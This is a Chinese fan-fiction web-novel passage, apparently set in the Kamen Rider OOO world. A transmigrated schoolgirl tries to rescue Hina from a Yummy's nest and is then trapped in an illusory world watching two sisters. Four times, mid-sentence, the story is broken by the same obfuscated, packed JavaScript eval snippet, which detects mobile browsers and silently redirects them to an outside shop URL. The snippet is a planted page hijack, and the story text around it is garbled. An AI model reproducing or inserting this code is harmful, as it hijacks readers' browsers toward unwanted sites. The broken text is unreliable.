我苦得眼泪都要出来了,整张脸扭成一团。 “这完全不行的吧。”这种创新就该被大力否定,“就像是薄荷、柠檬和黑胡椒在打架一样,嘴巴里酸的苦的辣的什么都有,就是不甜。” 知世子不以为意:“但是提神,对吧?有一种让人马上从低沉空气里脱身的魔力。” 用刺激性的食材强制给人提神吗?!我怎么不知道知世子的创作理念有这么激进! “要不再想想呢……”我哭笑不得,正准备好好地劝说一下,裤子口袋里的手机突然开始震动,随即放出《Anything goes on》的旋律。 “啊呀,哪里来的音乐?”知世子茫然地问。 “没什么。”我掏出手机,以为是比奈有事找我,无所谓地点亮屏幕。 结果一看就红了眼睛。 “怎么了吗?”见我表情不对,知世子靠了过来,眼里满是担忧。 我的大脑一片空白。听到她的声音(或者说只是听到了声音,但没有认出知世子),我缓缓地把手机转了个面。 屏幕上显示着一张照片。 比奈闭着眼睛,似乎是睡着了。然而她躺着的地方一片混乱,到处是碎裂的布料。 角落里,无数透明泡泡堆叠在一起,像是昆虫的卵鞘。 “燕儿啊,这是……” “是Yummy。” 我一连做了几个深呼吸,控制着大脑竭力不去重复这个恶心的画面。 -- 既泉信吾和火野映司之后,我第三个冲出了库斯库契。 当然,我只是一个穿越者,一个普通的十五岁女高中生,没有他们那样强大的力量。 但是我会摇人。 我拨通伊达叔的电话,同他说明了比奈的情况。 “怎么回事!”大概是介质的问题,伊达叔的声音有些模糊,“你现在在哪里?不要轻举妄动,找个位置我们汇合!” “没时间了!”我大喊,“那个地方我去过,比奈的造型室,我知道位置在哪,分头去吧!” “你去了能干什么!”伊达叔明显有些急了,我听到他动身的声音,“听话,告诉我你现在的位置,我们马上汇合!” “来不及了!” “嘟”的一声,我挂断了伊达叔的通讯。 机车在街道上飞驰,风声越来越大,几乎盖过了整个世界。很早之前我就想这么做了。要不是市内禁摩,我应该会成为一位鬼火少女。 绿灯还剩下最后一秒,我提高速度直接闷头过去。此时的速度已经快到我听不见任何周遭的动静,只有狂风灌耳。但是——快点,再快一点——我不停地祈祷,恨不能自己直接瞬移过去,下一秒就到达比奈那里。 裤兜里不停传来手机的震动。我知道那是伊达叔在找我,但我也实在空不出功夫去接。 我知道这样做是冲动,甚至冒进。我没有变身器,没有武器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510627|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,独自去了也就是成为Yummy手下的另一个祭品。 但是。 火野映司,他现在也不能变身,不是吗? 所以我也不能退缩。尤其是看到比奈那副样子……我心里无名火起。 对Yummy的,对自己的。 泉比奈是我最喜欢的骑士女主,早在看OOO时我就为她哭过好多次了。在我自认人生最低谷的时期,也是她的人格激励了我,帮助我走了出去。 我想到她的过去,她的遭遇,以及她为我做造型时对自己手艺绝对自信的魅力。 尽管她还不知情,但我确实认为我们是特别要好的朋友。 从很久之前就是了。 视野里出现了造型店所在的街道,安静祥和,和其他任何一条街道并无不同。要不是那张照片,没有人会怀疑这里藏了一只Yummy。 街道口有一台鸿上基金会的自动贩卖机。正好我身上带了一堆硬币,扔进去随便按了按,砸下一堆稀奇古怪的道具。 好多我都还不认识,看来鸿上这些年又开发了不少的黑科技。 我随手拿起其中长得很像枪的道具,狂奔到店面门口。 那是一栋类似别墅的独栋建筑,不高,看上去也就三层。 上次来时我印象最深的就是玻璃。四面都有硕大的落地窗,扭头就能看见外边美丽的晚霞。如今已拉上了厚厚的窗帘,熟悉的人估计看一眼就猜出里面有所猫腻。 更接近了。在门边我学着电视里的模样把枪管抬了起来,心脏咚咚地跳动着,唾液不断分泌出来,头脑也比以往任何一个时刻都要清醒。 比起紧张,这种表现倒更像是兴奋。 我深吸口气,破开门。 好臭。 这是我的第一反应。 空气是潮湿的,混杂着不知从何处来的怪味,让我想起梅雨季节,我的衣服一直晒不干,于是布料混杂着汗臭发酵,第二天直接丢了。 大厅里到处黏着透明的卵,有一些已经破壳。这些卵不规则地堆积着,凑近了会看到其表面流溢着诡谲的色彩,像是落雨后的下水道。 总之,看着就让人不爽。 我一只手仍然保持举枪的姿势,另一只手捂着鼻子,摸索着去找卵最多的地方。 直觉告诉我,那里是Yummy的巢穴。 所以我不敢掉以轻心。 一间、两间、三间……直到我把一楼翻了个遍,哪里都找不到比奈,这才把目光放上楼梯。 和大厅完全不同,楼梯上干干净净,看不出怪物侵袭的痕迹。这也是我执意在一楼寻找的原因。 她真的会在那里吗?还是说,那张照片只是诱饵,目的是引我来到这里,而比奈已经被转移到真正的巢穴? Yummy应该不会有这个智商吧。 但Yummy应该也不会发短信。冷静下来想想,这件事真是漏洞百出,根本是明摆着的陷阱。 ……来都来了。 就算明白是陷阱也已经晚了。这里的气味如此浓郁,加之随处可见的就算不是怪物的原生巢穴,也一定是祂的某个据点。 我拿出手机,又一次仔细看了看用比奈的账号发来的照片。 时间是二十分钟前。比奈紧紧皱着眉头,像是陷进了一个噩梦。 她躺在一堆破布上面,布料下是不明Yummy的卵。光线、环境,包括卵中诡异的寄生物,和眼前这些都对得上。 福尔摩斯说过:排除所有不可能后,剩下的那个就是真相。 我上楼。 9. 我打Yummy…?欸?真的假的? 楼上楼下差距大得像是两个世界。 从我踏上楼梯的那一刻起,臭味消失了,取而代之的是一种无节奏的噪音,音色类似摇滚乐里的架子鼓。 这是又换了手段吗? 但是——为什么? 我提出问题,却一个也无法解答,只是呆站在台阶上不知所措,感官比思想更快行动起来。 上一次有这种感受是什么时候?我确定自己的人生里有过相似的经历。空无一人的房子,宽阔到略显恐怖的氛围,以及显眼却也支离破碎,难以形成逻辑的线索…… 等一下,这不就是密室逃脱! 对啊,如果是密室逃脱…… 如果把这当成密室逃脱里的解密,钥匙一定是环境里最显眼的变化。 从一楼到二楼……是声音! 像抓住了救命稻草一样,我攥着这个念头冷静下来,站在二楼的平台上细心辨识着鼓的来源。 得亏我因为音乐老师夸我耳朵好天赋高,课上听得认真没跟着同桌写题,不然如此明显的谜题,解不出来就太蠢了。 该说Yummy确实没多少脑子。 这些听着像是技术不精的鼓手随意踩出来的鼓点虽然杂乱,节奏和尾音都处理不干净,但如果我的判断没错,其间竟然隐隐包含着些许规律。 如果把每个房间都想象成一面鼓…… 那么,只有代表“底鼓”的房间是一直在演奏。 迅速锁定好了位置,碰到门板的瞬间,我莫名听见响起一段混乱的人声。 “这样就好吗?” “毕业了要穿得漂漂亮亮呢。” “都结束了,那个人出轨了……” 谁在说话? “谢谢姐姐!我爱你哦!” “要漂亮……” “姐姐!姐姐!” 不管了——开! -- 像是消防演习里会出现的那样,一开门,灰尘混杂着浓烟瞬间喷了上来。我下意识地捂住口鼻,但还是晚了一步,刺激性极强的气体充斥着我的鼻腔,呛得我不住咳嗽。 “咳、咳咳——!”我飞快地调整状态,适应屋内的浊气,抬起眼皮疯狂扫描屋内的陈设。 这里的卵比一楼更少,但似乎出现了变异。每个卵上都有一条裂缝,正往外不知道喷着什么。 “比奈!” 比奈就躺在房间的正中,像照片里那样眉头紧锁,像做着一个并不安然的梦。 我马上狂奔过去,一时间连那些黏腻、湿润,视觉和触感都贼恶心的卵都不怕了,跪在巢边不停推搡着她,希望她能苏醒过来看我。 “比奈!比奈!” 我不停地叫,不停地推。然而再怎么努力她都不为所动。 “比奈!你醒醒啊!比奈!” 我急得快要哭出来了。大概这就是Yummy的手段,可能是催眠之类的——还是先帮她离开这个鬼地方再说。 “我这就抱你出去。”我翻进巢里,试图背起比奈。 一进去才发现这个巢穴之大,是我在外面看到的几倍。看来外面的那个比奈完全是一场幻觉,难怪我怎么弄都搞不醒她。 而来不及思考接下来的对策,更可怕的事发生了。 从进来时我就注意到,巢穴里的卵与卵之间留有空隙。起初我以为那是像蚕结茧一样固定用的丝线,但实情似乎完全不是这么回事。 这些卵是流动的,像有生命一样。那些空隙的本质是怪物的呼吸孔,是不确定的空间。 这是我出去后才总结出来的东西,混杂着大量猜测。当时我完全没空想那么多。越来越多诡异的玩意儿向我迫近,我就像站在流沙上,稍一松懈就会被怪物的卵所吞噬。 生命当前,人总能爆发一些……惊人的潜力。 我全身都动了起来,不停地抬腿、挥手,甚至扭腰扭屁股,只要能保持运动的状态我什么都肯做,边做还边朝比奈靠近。这对我一个八百米要跑四分半的体育废柴实在太困难了,尤其是全身都要动弹更是加剧了体力流失,好几次都想放弃。 但比奈就在那里。 汗水彻底糊住了我的眼睛,世界迷离起来,只剩下一个朦胧的轮廓。 但比奈就在那里。 “哈——啊!”我痛苦地大喊,喉咙里喷出人类最原始的咆哮。 再走一步、再一步——不知道是什么支撑住了我的身体,经过漫长的跋涉,我终于到达她的身边,脚踩在软绵绵的布上,探到她平稳的鼻息,呼吸突然顺畅的同时忍不住落下眼泪,心想这真是太好了。 找到你真是太好了,坚持下去真是太好了,能救下你真是太好了,哪怕拼出性命也……太好了。 “比奈,我们回去……”我滞涩地开口,弯下身抬起她的胳膊,准备像来时一样送她出去。 “你果然是来了。” 结果就在这时,我的耳朵敏锐捕捉到一个细微的声音。跟着就是上面的那一句话。 我心头一跳,顺着声音来的方向看去。 那是个丑陋到不忍让人多看一眼的怪物。祂通体灰黑,脑门上顶着一对鲜红色的苍蝇眼,眼睛后面朝天长着两根天线一样胡须。 “你果然是来了。”祂一步步地朝我们走来,动作时能看见祂的手臂和躯干之间,有一层透明的纱相连,像是夏蝉的翅膀。 特摄里都很少见到长得这么草率的怪人了! “你果然会来的。” 祂第三次重复了这句话。我们之间的距离愈发近了。 “不要动!”我把枪举了起来,很害怕,全身都在发抖。我知道自己应该静下心来,至少表现出些许威慑,然而我做不到。我的心思却完全没有放在开枪上面,而是转向思考起这怪物的身份。 Greeed?还是Yummy? 但Yummy会说话吗? 第一集那个好像就会,独角兽好像也会…… “而新发现的这些Yummy,它们全都乱了。昆虫样子的Yummy可能是繁殖型,飞鸟样子的Yummy可能是虫蛹型,水生的可能是寄宿型,猫类的也可能是哺育型。” 伊达叔的声音突然冒了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510628|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。紧跟着是信吾哥的。 “现在的Yummy都是至少两只一起出动,很少有落单……” -- “砰!” 巨大的枪响打断了我的回忆。我的灵魂从会议室里又飘回到了怪物的巢穴,透过我的双眼,不可置信地盯着面前的场景。 有烟无伤定律还在追我。怪物毫发无损地从烟雾里走了出来,刚才那走火的一枪完全偏了,甚至没有延缓祂的行动。 “你果然……”祂喃喃地重复,像是被设计好的程序。 “别过来!” 不管祂能不能听懂,反正我是这样吼了出去。 “你、来、了……” 下一秒,祂抓住了我的手臂。 那是一种无法形容的感觉,除非你也被同一只怪物这样抓过,不然你根本不可能理解在那一刻我都感受到了什么。 过量的信息刹那间涌入我的脑海,空白中我看见了全宇宙最为丰富的色彩,如光穿过棱镜。 “不——不要——”我奋力挣扎着,试图挣脱祂的控制,或者干脆再走一次火,再开一枪,也许就能从这无尽头的深渊逃脱。 “来……” “咚”的一声,我感觉手里一空,不可置信地抬起头来,看到不远处的地板上有多了块眼熟的颜色。 枪到底被甩了出去。 事后很难形容当时我发现枪没了的绝望,那意味着我将不再能从怪物手中逃脱,甚至不能延缓祂的折磨。 老师在物理课上给我们看过色散实验的视频,白光经过折射在墙面形成彩虹时我惊呼出声,完全没想过还能在这里用上。 现在我变成了那块棱镜。 第一次看见新生,第一次面对死亡;第一次阅读,第一次跌倒;第一次有了心爱的人,第一次和爱人分手……那些来自不同的人复杂的感触,经由怪物的手源源不断地传入我的体内。那些根本不可能被分解的情绪,霎时间灌满了我的身体。 -- “叮铃——叮铃——” 硬币的声音。 我为之一振。 Yummy或Greeed被攻击的话就会爆出硬币,所以这是救兵来了……我心想着,努力睁大眼睛去看,却怎么也望不见援救的人影。 那硬币是从哪里来的? 我怀疑着,余光里瞥见自己的手臂不断摆动,叮铃——叮铃——硬币的声音。 居然是从我身上掉出来的! 可是,怎么会? 我又不是Yummy,也不是Greeed…… 我是人啊…… 我是人啊!!! 虽然还不明原因,也许这就是个误会,但身体抖出硬币这事儿还是击垮了我的防御。一切抵抗在怪人化的可能面前完全失去了其原本的意义。 彻底丧失意识以前,某一刻我骤然听见沉闷的枪响,像是远山的雷鸣。 “燕!” “秋山!” “你们……”我张了张嘴。 如你所见,这就是我最后听到的几句话了。 10. 红鸟复活之法与恐龙幻想之力(1) “来、了……” 首先在我意识里出现的,依然是声音。 “来……了……” “来……了……” “来……了……” 男人的声音,女人的声音,怪物的声音……无数声音叠在一起,像是回音一般不断重复着同一句话。 “来……了……” “来……了……” 烦死了,到底什么来了。 被吵得受不了了,我睁开眼。 我以为我会身处一个抽象的空间里,像是意识流作品里的白色光幕,或者超现实主义画作中扭曲的时间……其实不是。眼前是耸立的高楼,入间川在阳光的照耀下熠熠生辉。 我这是……又回来了? 搞不懂状况,我当即决定回去库斯库契,不论如何要告诉他们比奈的情况。但我却一直走不离这块区域,鬼打墙一样兜兜转转几次绕回原点。 果然,我没出去。 那这里是幻境?或者说里世界? OOO里我还没见过相似的桥段,恐龙系(或者说幻想生物系)的Yummy虽然是精神攻击,但普遍采取的也是干涉的方式,让幻想变为现实。这种把人拉进里世界的做法,更像是Wizard怪人的习惯。 嗯……我应该没穿进骑士综里。 那到底是为什么呢?为什么Yummy会具有打开里世界的能力?为什么长得像虫的Yummy会是繁殖型?为什么那只Yummy似乎认识我,甚至以比奈作为诱饵引我过去? 这是Yummy应有的智力吗? 当然,以上种种都只能说是浅层疑惑,有没有答案都无所谓,下次努力就好。最重要还是的:为什么我身上会掉出硬币? 细胞硬币顾名思义,就是Greeed和Yummy的细胞。怪人从细胞硬币上获得力量,体内含有的细胞硬币越多,怪人们存储的能量也就越大,相应的也就越难对付。 为了制造并收集硬币,Greeed从人类的内心当中释放Yummy,因为Yummy可以把欲望的满足转换为硬币并藏于体内。从这个层面来说,Greeed与Yummy是共生关系。Yummy需要Greeed的唤醒,Greeed也需要Yummy的苦力。 但是,不论怎么定义,那都是怪人之间的联系。细胞硬币也应该是他们之间的特殊道具。 虽然鸿上基金会所有系统都需要细胞硬币激活……但那些大多是八百年前的遗物,OOO里的人应该是无法靠自己的力量生出硬币才是。 所以我现在算什么?Yummy?Greeed?还是……转换之中的Greeed? “嗯……” 我意识到一个问题。 众所周知,穿越也分为两种。 来到这个世界,我是身穿,还是魂穿? -- 疑问越来越多。 当年假面骑士EX-AID虾饺三问一战成名,贡献了“一男咆哮三男跑,一男唱歌一男倒”和“三人百米冲刺”两个名场面以及“宝↑生↓永↑梦↓”的定型文。 现在我的问题不止三个,并且看这情况,估摸着也不会天降虾饺来为我答疑解惑。 靠天靠地靠到最后还是得靠自己。 就算天塌了,也不会有高个给我们顶住,因为每个人终要面对独属于自己的人生命题。再说了就算许愿,把所有愿望连同压力都转移到别人身上,本来也很残忍不是吗? 能心无芥蒂地接纳一切,这样的人他已经…… 我不去想了。再往下想一点,眼泪就又要掉下来了。 -- 时间一分一秒地过去,期间我数次尝试离开入间川,无一例外全失败了。不论是向路人求助,还是坚定地提升自己“心”的力量,各种影视动画里得到的方法使了个遍,努力到最后又回到入间川桥边,和对岸的楼房打起照面。 这地方是设了空气墙吗?! 我真没辙了,心情在一次又一次的失望中从躁动不安逐渐转为平静。 该咋办咋办吧,反正我是真跑不动了。 我找了张长椅上坐下,伸手往口袋里一掏,希望能整几个钢镚出来买瓶水喝。 偏偏这时变动来了。桥那头突然传出一声尖叫,紧接着是一阵纷乱的脚步,间杂着“救命”之类的呐喊。 原来是强制播片啊?! 经过漫长的等待,再多激情也被消磨得一干二净。当那熟悉的怪人过了桥,出现在我视野里的时候,我既不恐惧,也不激动,而是有种不合时宜的疲惫。 终于来了。 怪人却像看不到我,追着女人一直逼到了角落。 我跑过去,看见祂站在瑟缩的女人面前,红色的苍蝇眼下裂开一条缝隙。 “我……是……谁?” “啊?” 女人颤抖着,声音里带着哭腔:“你说什么?” “我……是……谁?” 怪物又重复了一边,然而这次祂没有听到女人的回答。 那个被我推测为口器的缝隙缓慢张开,怪人咕噜咕噜地叫着,喷出一股白色的雾。 而等那雾气散去,女人不见了。 怪人又一次发出了咕噜咕噜的声音,像烧开的水壶。 祂拖着步子缓缓离开,周遭的环境随着祂的步伐,像车窗外的风景一般迅速流动。 “怎么回事?!”我抬起手,也跟着这风景流动起来,像被卷入漩涡。 一道极炫目白光猝然亮起,我觉得自己快要瞎了。 这才像穿越啊…… 意识迷离前,脑海里莫名冒出这样一个念头。 -- 再睁眼时倒没有那种睡了很久的感觉,就是视角有点奇怪。我似乎被挂到了天上,脑袋可以三百六十五度转动。视域呈弧形,远近都有不同程度的形变。 这绝对不是人类的眼睛。 我想,我应该是被附身到了什么东西上面。强制播片还带视角限制,这里世界真有意思。 以上当然是反讽。 有了方才的经验,我大致摸清了现下的状况,至少知道在等待播片的过程中,自己什么也做不了。 既然这样,不如思考一下我究竟附身在了哪种生物上面? 我抬头,看到比奈在造型室里忙碌,一会儿陪陪这个,一会儿看看那个,许多人热切地交流着,却听不见他们的声音。 什么东西是立在房前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510629|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或路口,视野广阔,然而听力不足,一点儿声也收不到呢? “……” 我不会,变成了监控摄像头吧? 这怪人有毛病啊! -- 算了,摄像头就摄像头。 和我猜想的一样,那座房子真的是比奈的造型店,并且生意爆好,这么一会儿功夫至少有二十个人找她,生意太多,称得上门庭若市了。 穿越以来,我还是第一次有了欣慰的感觉,觉得自己就是来看这个的。 虽然“欣慰”这个词用在这里不太准确,毕竟我没资格以比奈的长辈自居,但这个我幻想过无数次的场面在我眼前成真的时候,我的第一感受就是这了。 在这个世界里,比奈实现了她的梦想。 真好。 仔细想想,虽然Yummy的存在让人不安,但这个世界的主角团,他们似乎都回到了各自的轨道上? 伊达叔做回了医生,比奈开起了造型店,知世子继续经营库斯库契,信吾哥和后藤分别以公安和假面骑士的身份守护世界…… 还有映司,他也重新踏上流浪的旅程,只是这次除了去做那些可以做到的事情以外,还要找到Ankh。 真的,剧粉心中最完美的结局也莫过于此了吧? 偏偏该死的东映又搞个那什么十周年…… 闲着无聊的时候,我总是不自觉会想到十周年。这么久了,简直成了本能。 十周年最让我恶心的并不是映司和Ankh一换一。 虽然一换一怎么说都很牵强,有种把大家的情怀摁在马桶里冲的感觉,但如果真遇到了那样极端的情况,映司确实,会去救下那个女孩。 哪怕伊达叔传达过“救人之前要先保全自己”的观念,映司也一定会去救下那个女孩。 因为那是他奋力伸手所能做到的事情。 所以经过调理,我接受了映司注定的濒死。但我无论如何也说服不了自己进一步接受映司结尾时把Ankh推开的情节,以及整个故事都建立在主角团们为了对抗八百年前的王,不得不组成反抗组织的背景。 所有人都为了“活下去”不得不暂时放开理想,走上一条本不该属于他们的道路,这件事本身已经很悲哀了。偏偏结尾映司又主动放手。主角的毅然求死更是将这荒诞不经的情节推到了新的高潮,让人看了只想大笑。 没有意义了! 付出没有意义,改变没有意义,就连在剧集里似乎无所不能的欲望本身,放在十周年的故事中也毫无意义。 因为火野映司是主动选择的死亡。因为映司的演员以及幕后的staff都说了:如果没那一推,映司可以和Ankh共用一个身体活着。 他是主动选择的死亡。在牺牲掉除了生命以外的全部之后。 十周年就是这样,从里到外都透着一股子虚无主义的味道,还是最恶臭的那种,像是刺鼻的劣质香精。偏偏有人就吃这套,面对低到令人发指的评分反过来指责说是观众的问题,说观众只接受团圆结局是一种悲哀…… 没有比十周年的他们更悲哀的了。曾经鲜活的角色就这样沦为制片和编剧的提线木偶,这样的故事没有成为他们正史的一部分真是太好。 11. 红鸟复活之法与恐龙幻想之力(2) -- 造型室里又进来一对姐妹。 在我变成摄像头的这段时间里,已经来来往往不知多少人了,然而两位却获得了我的关注,必须盯紧她们认真对待。 原因无他,这两张脸都太熟悉了。 同入间川附近被吞噬的那个女人一模一样。 -- “我们是飞鸟小姐推荐来的,在网上有预约。” 欸,有声音了? “我看看……是‘Milky way’小姐和‘Mica’小姐吗?” “对,我叫美智子。”女人点头,“这是我的妹妹美纪子。” Mikiko,MIkako,听起来真像双胞胎会起的名字。 她们是来给自己定制毕业礼服的。 那个叫做美智子的女人比起另一位更加开朗,所有交流几乎都由她来完成。 在根据店内的样衣选定好基础款式以后,美智子又提出了好多建议。比如用什么样的花纹啦,哪里需要重新裁剪啦,要用什么样的配饰啦,每一样她都要指点一番,给我种事好多的感觉。尤其是她说“要不多加一层蝴蝶结”的时候,我难以置信地上下扫视,确信自己没有看错—— 鱼尾裙的款式也要蝴蝶结吗? 会不会浪费了原本流畅的剪裁。 不管合不合理,比奈把这些要求一一记了下来,又依次复述。美智子一边听一边点头,最后问比奈:“你们这里的衣服要多久才能做好?” “两周左右吧?”比奈说,“您选择的布料需要定制,还有一些配件都不是常设的,再去购置需要时间……” “要那么久啊?”美智子的语气有些不满,“我们十天后就要毕业典礼了,你这样赶不上啊。”她掏出钱包,“我可以加钱,能不能明天就做出来?” “……五天。”比奈松了口,“再快也得五天,要么就更换布料,换一个有现货的。” “还要换啊?你们造型室都不备料吗?”美智子合上钱包,一副趾高气昂的态度,“这是你们的责任吧?入间还说你们家蛮不错呢,怎么这点小事都做不好?” 不是,这也太刻板印象了吧! 这对话听得我头大。那位美智子一看就是父母宠坏的富家女,因为工作太忙,就用金钱代替陪伴,结果连教育也疏忽了。我班上好几个这样的同学,平时我都避着走,生怕哪里没有做好,惹得公主们嚼我舌根。 能不能不招待啊……虽然知道服务业很多时候就是赚这笔钱,但真实看到还是忍不住感叹,世界上居然真有这样的人,完全是脸谱化的反派。 而按照子供的剧情逻辑,接下来就要出现一个解围的人,我看她妹妹骨骼清奇,正好合适。 果然,在美智子坚持给比奈找事的时候,美纪子开口了:“要不算了,姐姐……五天的话也够准备了。” “这怎么行呢!”美智子眉头紧皱,似乎很不喜欢妹妹向着比奈说话,“美纪子你搞明白,我们是来消费的,用金钱换取服务是我们的权利,不能随便放弃。” “可是这位姐姐说了,料子要等,她也没有办法。”美纪子低声地劝,“算了吧姐姐,就五天,好吗?” “美纪子!”见妹妹不听自己的话,美智子有些急了,“这只是她的托词!一块布有多难搞到?就算在北海道,来回也就四个小时,半天时间够了。” 她斜着朝比奈瞥了一眼:“如果是担心差旅,没问题,我可以报销。” -- “……”我真的没眼看了。 我到底做错了什么要在最佳观影位近距离欣赏这种十年前就该淘汰的烂俗剧情。日本的阶层问题特别严重我知道,但这位姐姐你要不考虑一下比奈一个人就能撑起这么大的一家造型室,她显然也是很有实力的呢? 到底在秀什么啊! 我内心有一万句槽想吐,但奈何iPhone4S时代的摄像头还没能装载语音系统,就算有再多的话我也只能憋着,然后默默给这位女士点蜡。 字字都往别人雷点上踩,还以为自己很有道理。 比奈是不会惯着这种人的。 想到这位美智子的结局,我突然对她产生了些许同情。 我已经确定她就是被Yummy吞噬的那女人了。 其实也就是个学生,还是大小姐,要不是造型这事儿需要本人到场估计都不会过来,实在是与世隔绝,再骄慢也没必要成为怪人的养料。 子不教,父之过嘛。 而且怎么说呢,比起美智子,我觉得她妹妹问题似乎更大一些。虽然看似每一句话都在为姐姐解围,但不正是她畏缩的态度,让美智子反而怒上心头,慌不择言才说错了话吗? 后面那几句,只是作为姐姐的想要教育妹妹而已。如果说姐姐是个蠢的,那妹妹应该就是天生的坏。 尽管信息不多,我相信自己的判断。 -- 比奈沉默着,像是在思考美智子的建议。然而熟悉她的人都知道,这是她忍耐到极限的表现。 这单生意肯定是做不成了。 “不好意思,就算去北海道,这块布也是找不到的。” 比奈合上本子,认真地跟美智子说:“我的能力不够,请您另请高明吧。” “哈?”美智子大概没怎么被拒绝过,或者,她没有想到自己居然会被一个造型店的小造型师拒绝,于是傲气瞬间吞没了理智, 她上前就要理论,却被美纪子拉住了手。 “美纪子你给我松开!”她转过头大喊,恶霸的神情出现在她那张标致的脸上,看着竟有些滑稽。 “我想我都说得很明白了,美智子小姐。”比奈冷眼旁观着姐妹两的表演,“还有美纪子小姐,你有想要的,就应该亲口说出来。而不是躲在姐姐后面,让她为了你丑态尽出。” 美纪子面容一扭。 “我没有!”她连忙说。 “再见。”比奈打断了她的辩护,“客我就不送了。希望二位下次上门时多打探一下,我们店也不是万事屋,造型以外的事情恕我无能为力。” 比奈说完便上楼了,留下姐妹两面面相觑。刚才这一切还好发生在招待室里,要是在前台或大厅不晓得有多刺激。 “什么人啊!” 过一阵子美智子才反应过来,拉着美纪子气急败坏地往门外赶。 “一个做造型的,尾巴都上天了,真以为我们非她不可呢!” 回去路上,美智子疯狂地数落比奈,觉得比奈太高傲,自己作为金主没有得到应有的尊重。美纪子一直听着,等美智子终于消了点气,她才柔柔说:“可是上回她给飞鸟做的造型特别好看,姐姐你也很喜欢,才会问来店家的名字不是吗?” “我,我没想到那人是这样的啊!”美智子懊恼地说,“要是知道我就不受这个气了,飞鸟也真是的,店家态度不好怎么不说,她也真是为了美豁出去了……” 美智子咬着指甲,忽然又说:“算了,我们再另外找一家店吧。造型店哪里都有,我这就去问娱乐公司的那一些人,我不信离了那家店就做不出好东西了……” “都听姐姐的。”美纪子说。 -- 不错、不错。 比奈没有为了工作丢失自己的尊严,美智子美纪子这对姐妹也终于有了心仪的造型,可以在毕业晚会上争奇斗艳。如此精彩的剧情居然只用了不到十分钟,堪称影视楷模。 但是。 “有点怪啊……”感觉自己好像忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510630|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略了什么。 一双血红色的眼睛从脑海划过。 ——对了,是Yummy! 打脸看完了,那只Yummy却连影都没有! “我说这真是……”看见这对姐妹下了地铁回家,我那不存在的眼皮骤然狂跳。 上一个镜头还知道直击重点,这回播片凭什么做这么长,节奏慢得我还以为穿进了比奈的大女主经营文里。 唯一的好消息是,从她们离开比奈店的那一刻起,我不知怎的从摄像头视角中解放了出来,变成了……一只鸟。 虽然听着比摄像头还要没用,但好歹是活物了。 照这样下去,再来个场景我就能变成人了。 这只Yummy到底在想什么。 “你强制我看这些东西,是有事情要告诉我吗?”我试着用心声交流,问出了这个句子。 没有回音。 我就知道动画里都是骗人的。 “好吧,看来我只是个不幸被困进来的倒霉鬼,可能等外面映司他们打败了Yummy,我就能从里世界逃出去了。” 希望这不会是最乐观的估计。 -- 说是毕业典礼在十天后,好家伙,我就真在她们家门口呆了十天。 美智子后来找了别的店家,得到了满意的礼服。她和美纪子两个人穿着同款不同色的裙子,姐姐是黄色,妹妹是红色,都是那种分外张扬的造型,倒是贴合这对姐妹的气质。 两人手挽着手,和和美美地下了台阶。一位像是司机的男人看到了,在门口恭维说:“二位小姐今天真是美丽。” “毕业嘛,肯定要好好打扮。”美智子得意起来,“师傅啊,我爸爸有说要参加今天的典礼吗?” 司机低下头说:“先生今天没有相关的安排。” “什么,他不来?!”美智子大惊,“可是他答应过我和美纪子,他要出席我们的毕业典礼!” “先生昨天已经携夫人飞往巴黎,说是有要事商谈。”司机恭谦地解释,“抱歉小姐,这是临时做出的决定。先生深感惭愧,请我转述他的祝福。” “什么祝福都比不上他人啊!”美智子心烦了,不停搔着后脑。 美纪子又一次拉住了她:“算了美智子,父亲他也不是故意的。再说了,不是有师傅陪我们吗?对吧师傅?” “我会陪同二位小姐到活动最后的。”司机谦卑地说。 “这种场合怎么可以只有司机!” 美智子完全不认可这样的说法。她甩开妹妹,下一秒忽然意识到了自己的失言,转身向司机道歉:“抱歉师傅,我不是说您……我的意思是,这种场合父亲应该在的……毕竟是人生里很重要的部分啊。” “我完全理解。”司机说。依然是那副谦和的口吻。 木已成舟,美智子就是再难受也不能把父母拽回日本,只能跟着妹妹上车,等着去学校报道。 